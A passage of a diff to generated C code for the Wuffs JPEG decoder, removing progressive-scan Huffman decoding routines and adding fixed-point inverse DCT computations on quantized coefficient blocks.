((uint32_t)(self->private_impl.f_quant_tables[a_q][6u])))) << 2u)); -+ v_intermediate[14u] = v_intermediate[6u]; -+ v_intermediate[22u] = v_intermediate[6u]; -+ v_intermediate[30u] = v_intermediate[6u]; -+ v_intermediate[38u] = v_intermediate[6u]; -+ v_intermediate[46u] = v_intermediate[6u]; -+ v_intermediate[54u] = v_intermediate[6u]; -+ v_intermediate[62u] = v_intermediate[6u]; -+ } else { -+ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][22u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][22u])))); -+ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][54u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][54u])))); -+ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -+ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -+ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -+ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][6u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][6u])))); -+ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][38u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][38u])))); -+ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -+ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -+ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -+ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -+ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -+ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -+ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][14u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][14u])))); -+ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][30u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][30u])))); -+ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][46u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][46u])))); -+ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][62u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][62u])))); -+ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -+ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -+ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -+ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -+ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -+ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -+ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -+ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -+ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -+ v_ci51 *= 4294964100u; -+ v_ci53 *= 4294946301u; -+ v_ci71 *= 4294959923u; -+ v_ci73 *= 4294951227u; -+ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -+ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -+ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -+ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -+ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -+ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -+ v_intermediate[6u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -+ v_intermediate[62u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -+ v_intermediate[14u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -+ v_intermediate[54u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -+ v_intermediate[22u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -+ v_intermediate[46u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -+ v_intermediate[30u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -+ v_intermediate[38u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); - } -- { -- wuffs_base__io_buffer* o_0_v_r = v_r; -- const uint8_t *o_0_iop_v_r = iop_v_r; -- const uint8_t *o_0_io0_v_r = io0_v_r; -- const uint8_t *o_0_io1_v_r = io1_v_r; -- const uint8_t *o_0_io2_v_r = io2_v_r; -- v_r = wuffs_base__io_reader__set( -- &u_r, -- &iop_v_r, -- &io0_v_r, -- &io1_v_r, -- &io2_v_r, -- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, -- self->private_impl.f_bitstream_ri, -- self->private_impl.f_bitstream_wi), -- ((uint64_t)(self->private_impl.f_bitstream_ri))); -- do { -- do { -- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { -- v_ret = 1u; -- goto label__goto_done__break; -- } -- if (v_n_bits < 16u) { -- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -- } -- v_z = self->private_impl.f_mcu_zig_index; -- self->private_impl.f_mcu_zig_index = 0u; -- v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[0u]; -- v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; -- while (v_z <= ((uint32_t)(self->private_impl.f_scan_se))) { -- v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); -- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -- v_ret = 2u; -- goto label__goto_done__break; -- } -- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -- v_n_bits |= 56u; -- v_ac_bl = (v_ac_ht_fast >> 8u); -- if (v_n_bits >= v_ac_bl) { -- v_ac_symbol = (255u & v_ac_ht_fast); -- v_bits <<= (v_ac_bl & 63u); -- v_n_bits -= v_ac_bl; -- } else { -- v_ac_code = ((uint32_t)((v_bits >> 55u))); -- v_ac_blm1 = 8u; -- v_bits <<= 9u; -- v_n_bits -= 9u; -- while (true) { -- v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; -- if (v_ac_code < (v_ac_ht_slow >> 8u)) { -- v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); -- break; -- } -- v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); -- v_bits <<= 1u; -- v_n_bits -= 1u; -- v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); -- if (v_ac_blm1 == 0u) { -- v_ac_symbol = 0u; -- break; -- } -- } -- } -- v_ac_rrrr = (v_ac_symbol >> 4u); -- v_z += (v_ac_rrrr + 1u); -- v_ac_ssss = (v_ac_symbol & 15u); -- v_ac_extend = WUFFS_JPEG__EXTEND[v_ac_ssss]; -- if (v_ac_ssss > 0u) { -- v_ac_value = ((uint16_t)((v_bits >> (64u - v_ac_ssss)))); -- v_ac_value += (v_ac_extend & (((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)); -- v_bits <<= v_ac_ssss; -- v_n_bits -= v_ac_ssss; -- self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[v_z]] = ((uint16_t)(((uint16_t)(v_ac_value << self->private_impl.f_scan_al)))); -- } else if (v_ac_rrrr < 15u) { -- self->private_impl.f_eob_run = ((uint16_t)(((((uint16_t)(1u)) << v_ac_rrrr) - 1u))); -- if (v_ac_rrrr > 0u) { -- self->private_impl.f_eob_run += ((uint16_t)((v_bits >> (64u - v_ac_rrrr)))); -- v_bits <<= v_ac_rrrr; -- v_n_bits -= v_ac_rrrr; -- } -- break; -- } -- } -- } while (0); -- } while (0); -- label__goto_done__break:; -- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); -- if (v_pos > self->private_impl.f_bitstream_wi) { -- v_ret = 2u; -- } else { -- self->private_impl.f_bitstream_ri = v_pos; -- } -- v_r = o_0_v_r; -- iop_v_r = o_0_iop_v_r; -- io0_v_r = o_0_io0_v_r; -- io1_v_r = o_0_io1_v_r; -- io2_v_r = o_0_io2_v_r; -+ if (0u == (self->private_data.f_mcu_blocks[0u][15u] | -+ self->private_data.f_mcu_blocks[0u][23u] | -+ self->private_data.f_mcu_blocks[0u][31u] | -+ self->private_data.f_mcu_blocks[0u][39u] | -+ self->private_data.f_mcu_blocks[0u][47u] | -+ self->private_data.f_mcu_blocks[0u][55u] | -+ self->private_data.f_mcu_blocks[0u][63u])) { -+ v_intermediate[7u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][7u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][7u])))) << 2u)); -+ v_intermediate[15u] = v_intermediate[7u]; -+ v_intermediate[23u] = v_intermediate[7u]; -+ v_intermediate[31u] = v_intermediate[7u]; -+ v_intermediate[39u] = v_intermediate[7u]; -+ v_intermediate[47u] = v_intermediate[7u]; -+ v_intermediate[55u] = v_intermediate[7u]; -+ v_intermediate[63u] = v_intermediate[7u]; -+ } else { -+ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][23u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][23u])))); -+ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][55u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][55u])))); -+ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); -+ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); -+ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); -+ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][7u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][7u])))); -+ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][39u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][39u])))); -+ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); -+ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); -+ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); -+ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); -+ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); -+ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); -+ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][15u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][15u])))); -+ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][31u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][31u])))); -+ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][47u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][47u])))); -+ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][63u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][63u])))); -+ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); -+ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); -+ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); -+ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); -+ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); -+ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); -+ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); -+ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); -+ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); -+ v_ci51 *= 4294964100u; -+ v_ci53 *= 4294946301u; -+ v_ci71 *= 4294959923u; -+ v_ci73 *= 4294951227u; -+ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); -+ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); -+ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); -+ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); -+ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); -+ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); -+ v_intermediate[7u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); -+ v_intermediate[63u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); -+ v_intermediate[15u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); -+ v_intermediate[55u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); -+ v_intermediate[23u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); -+ v_intermediate[47u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); -+ v_intermediate[31u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); -+ v_intermediate[39u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); - } -- self->private_impl.f_bitstream_bits = v_bits; -- self->private_impl.f_bitstream_n_bits = v_n_bits; -- return v_ret; --} -- --// -------- func jpeg.decoder.decode_mcu_progressive_ac_low_bit -- --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_mx, -- uint32_t a_my) { -- uint32_t v_ret = 0; -- uint64_t v_bits = 0; -- uint32_t v_n_bits = 0; -- uint16_t v_one_lshift_scan_al = 0; -- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -- wuffs_base__io_buffer* v_r = &u_r; -- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint32_t v_pos = 0; -- const uint16_t* v_ac_huff_table_fast = NULL; -- uint8_t v_ac_h = 0; -- uint32_t v_ac_symbol = 0; -- uint32_t v_ac_ht_fast = 0; -- uint32_t v_ac_bl = 0; -- uint32_t v_ac_code = 0; -- uint32_t v_ac_blm1 = 0; -- uint32_t v_ac_ht_slow = 0; -- uint16_t v_ac_value = 0; -- uint32_t v_ac_rrrr = 0; -- uint32_t v_ac_ssss = 0; -- uint8_t v_unzig = 0; -- bool v_bit = false; -- -- v_bits = self->private_impl.f_bitstream_bits; -- v_n_bits = self->private_impl.f_bitstream_n_bits; -- v_one_lshift_scan_al = (((uint16_t)(1u)) << self->private_impl.f_scan_al); -- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { -- return 2u; -- } -- { -- wuffs_base__io_buffer* o_0_v_r = v_r; -- const uint8_t *o_0_iop_v_r = iop_v_r; -- const uint8_t *o_0_io0_v_r = io0_v_r; -- const uint8_t *o_0_io1_v_r = io1_v_r; -- const uint8_t *o_0_io2_v_r = io2_v_r; -- v_r = wuffs_base__io_reader__set( -- &u_r, -- &iop_v_r, -- &io0_v_r, -- &io1_v_r, -- &io2_v_r, -- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, -- self->private_impl.f_bitstream_ri, -- self->private_impl.f_bitstream_wi), -- ((uint64_t)(self->private_impl.f_bitstream_ri))); -- do { -- do { -- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { -- v_ret = 1u; -- goto label__goto_done__break; -- } -- while (true) { -- if (self->private_impl.f_eob_run > 0u) { -- break; -- } -- v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[0u]; -- v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; -- while (true) { -- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -- v_ret = 2u; -- goto label__goto_done__break; -- } -- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -- v_n_bits |= 56u; -- v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); -- v_ac_bl = (v_ac_ht_fast >> 8u); -- if (v_n_bits >= v_ac_bl) { -- v_ac_symbol = (255u & v_ac_ht_fast); -- v_bits <<= (v_ac_bl & 63u); -- v_n_bits -= v_ac_bl; -- } else { -- v_ac_code = ((uint32_t)((v_bits >> 55u))); -- v_ac_blm1 = 8u; -- v_bits <<= 9u; -- v_n_bits -= 9u; -- while (true) { -- v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; -- if (v_ac_code < (v_ac_ht_slow >> 8u)) { -- v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); -- break; -- } -- v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); -- v_bits <<= 1u; -- v_n_bits -= 1u; -- v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); -- if (v_ac_blm1 == 0u) { -- v_ac_symbol = 0u; -- break; -- } -- } -- } -- v_ac_rrrr = (v_ac_symbol >> 4u); -- v_ac_ssss = (v_ac_symbol & 15u); -- v_ac_value = 0u; -- if (v_ac_ssss > 0u) { -- v_ac_value = (((uint16_t)(1u)) << self->private_impl.f_scan_al); -- if ((v_bits >> 63u) == 0u) { -- v_ac_value = ((uint16_t)(((uint16_t)(65535u)) << self->private_impl.f_scan_al)); -- } -- v_bits <<= 1u; -- v_n_bits -= 1u; -- } else if (v_ac_rrrr < 15u) { -- self->private_impl.f_eob_run = (((uint16_t)(1u)) << v_ac_rrrr); -- if (v_ac_rrrr > 0u) { -- self->private_impl.f_eob_run += ((uint16_t)((v_bits >> (64u - v_ac_rrrr)))); -- v_bits <<= v_ac_rrrr; -- v_n_bits -= v_ac_rrrr; -- } -- goto label__goto_do_eob__break; -- } -- while (true) { -- v_unzig = WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]; -- if (self->private_data.f_mcu_blocks[0u][v_unzig] != 0u) { -- if (v_n_bits == 0u) { -- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -- v_ret = 2u; -- goto label__goto_done__break; -- } -- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -- v_n_bits |= 56u; -- } -- v_bit = ((v_bits >> 63u) > 0u); -- v_bits <<= 1u; -- v_n_bits -= 1u; -- if (v_bit) { -- if (self->private_data.f_mcu_blocks[0u][v_unzig] < 32768u) { --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- self->private_data.f_mcu_blocks[0u][v_unzig] += v_one_lshift_scan_al; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } else { --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- self->private_data.f_mcu_blocks[0u][v_unzig] -= v_one_lshift_scan_al; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } -- } -- } else if (v_ac_rrrr <= 0u) { -- break; -- } else { -- v_ac_rrrr -= 1u; -- } -- if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { -- break; -- } -- self->private_impl.f_mcu_zig_index += 1u; -- } -- if (v_ac_value != 0u) { -- self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]] = v_ac_value; -- } -- if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { -- break; -- } -- self->private_impl.f_mcu_zig_index += 1u; -- } -- goto label__block__break; -- } -- label__goto_do_eob__break:; -- if (self->private_impl.f_eob_run <= 0u) { -- v_ret = 2u; -- goto label__goto_done__break; -- } -- while (true) { -- v_unzig = WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]; -- if (self->private_data.f_mcu_blocks[0u][v_unzig] != 0u) { -- if (v_n_bits == 0u) { -- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -- v_ret = 2u; -- goto label__goto_done__break; -- } -- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -- v_n_bits |= 56u; -- } -- v_bit = ((v_bits >> 63u) > 0u); -- v_bits <<= 1u; -- v_n_bits -= 1u; -- if (v_bit) { -- if (self->private_data.f_mcu_blocks[0u][v_unzig] < 32768u) { --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- self->private_data.f_mcu_blocks[0u][v_unzig] += v_one_lshift_scan_al; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } else { --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- self->private_data.f_mcu_blocks[0u][v_unzig] -= v_one_lshift_scan_al; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } -- } -- } -- if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { -- break; -- } -- self->private_impl.f_mcu_zig_index += 1u; -- } --#if defined(__GNUC__) --#pragma GCC diagnostic push --#pragma GCC diagnostic ignored "-Wconversion" --#endif -- self->private_impl.f_eob_run -= 1u; --#if defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } while (0); -- label__block__break:; -- } while (0); -- label__goto_done__break:; -- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); -- if (v_pos > self->private_impl.f_bitstream_wi) { -- v_ret = 2u; -- } else { -- self->private_impl.f_bitstream_ri = v_pos; -+ if (0u == (v_intermediate[1u] | -+ v_intermediate[2u] | -+ v_intermediate[3u] | -+ v_intermediate[4u] | -+ v_intermediate[5u] | -+ v_intermediate[6u] | -+ v_intermediate[7u])) { -+ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { -+ return wuffs_base__make_empty_struct(); - } -- v_r = o_0_v_r; -- iop_v_r = o_0_iop_v_r; -- io0_v_r = o_0_io0_v_r; -- io1_v_r = o_0_io1_v_r; -- io2_v_r = o_0_io2_v_r; -- } -- self->private_impl.f_bitstream_bits = v_bits; -- self->private_impl.f_bitstream_n_bits = v_n_bits; -- return v_ret; --} -- --// -------- func jpeg.decoder.decode_mcu_progressive_dc_high_bits -- --WUFFS_BASE__GENERATED_C_CODE --static uint32_t --wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits( -- wuffs_jpeg__decoder* self, -- wuffs_base__slice_u8 a_workbuf, -- uint32_t a_mx, -- uint32_t a_my) { -- uint32_t v_ret = 0; -- uint64_t v_bits = 0; -- uint32_t v_n_bits = 0; -- uint8_t v_csel = 0; -- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); -- wuffs_base__io_buffer* v_r = &u_r; -- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- uint32_t v_pos = 0; -- uint8_t v_dc_h = 0; -- uint32_t v_dc_symbol = 0; -- uint32_t v_dc_ht_fast = 0; -- uint32_t v_dc_bl = 0; -- uint32_t v_dc_code = 0; -- uint32_t v_dc_blm1 = 0; -- uint32_t v_dc_ht_slow = 0; -- uint16_t v_dc_value = 0; -- uint16_t v_dc_extend = 0; -- -- v_bits = self->private_impl.f_bitstream_bits; -- v_n_bits = self->private_impl.f_bitstream_n_bits; -- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { -- return 2u; -- } -- { -- wuffs_base__io_buffer* o_0_v_r = v_r; -- const uint8_t *o_0_iop_v_r = iop_v_r; -- const uint8_t *o_0_io0_v_r = io0_v_r; -- const uint8_t *o_0_io1_v_r = io1_v_r; -- const uint8_t *o_0_io2_v_r = io2_v_r; -- v_r = wuffs_base__io_reader__set( -- &u_r, -- &iop_v_r, -- &io0_v_r, -- &io1_v_r, -- &io2_v_r, -- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, -- self->private_impl.f_bitstream_ri, -- self->private_impl.f_bitstream_wi), -- ((uint64_t)(self->private_impl.f_bitstream_ri))); -- do { -- while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { -- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { -- v_ret = 1u; -- goto label__goto_done__break; -- } -- do { -- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { -- v_ret = 2u; -- goto label__goto_done__break; -- } -- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); -- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); -- v_n_bits |= 56u; -- v_dc_h = self->private_impl.f_mcu_blocks_dc_hselector[self->private_impl.f_mcu_current_block]; -- v_dc_ht_fast = ((uint32_t)(self->private_impl.f_huff_tables_fast[v_dc_h][(v_bits >> 56u)])); -- v_dc_bl = (v_dc_ht_fast >> 8u); -- if (v_n_bits >= v_dc_bl) { -- v_dc_symbol = (15u & v_dc_ht_fast); -- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; -- v_bits <<= (v_dc_bl & 63u); -- v_n_bits -= v_dc_bl; -- } else { -- v_dc_code = ((uint32_t)((v_bits >> 55u))); -- v_dc_blm1 = 8u; -- v_bits <<= 9u; -- v_n_bits -= 9u; -- while (true) { -- v_dc_ht_slow = self->private_impl.f_huff_tables_slow[v_dc_h][v_dc_blm1]; -- if (v_dc_code < (v_dc_ht_slow >> 8u)) { -- v_dc_symbol = (15u & ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_dc_h][(255u & ((uint32_t)(v_dc_code + v_dc_ht_slow)))]))); -- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; -- break; -- } -- v_dc_code = (((uint32_t)(v_dc_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); -- v_bits <<= 1u; -- v_n_bits -= 1u; -- v_dc_blm1 = ((v_dc_blm1 + 1u) & 15u); -- if (v_dc_blm1 == 0u) { -- v_dc_symbol = 0u; -- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; -- break; -- } -- } -- } -- v_dc_value = ((uint16_t)(((v_bits >> 32u) >> (32u - v_dc_symbol)))); -- v_dc_value += (v_dc_extend & (((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)); -- v_bits <<= v_dc_symbol; -- v_n_bits -= v_dc_symbol; -- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[self->private_impl.f_mcu_current_block]]; -- self->private_impl.f_mcu_previous_dc_values[v_csel] += v_dc_value; -- self->private_data.f_mcu_blocks[self->private_impl.f_mcu_current_block][0u] = ((uint16_t)(self->private_impl.f_mcu_previous_dc_values[v_csel] << self->private_impl.f_scan_al)); -- } while (0); -- self->private_impl.f_mcu_current_block += 1u; -- } -- self->private_impl.f_mcu_current_block = 0u; -- } while (0); 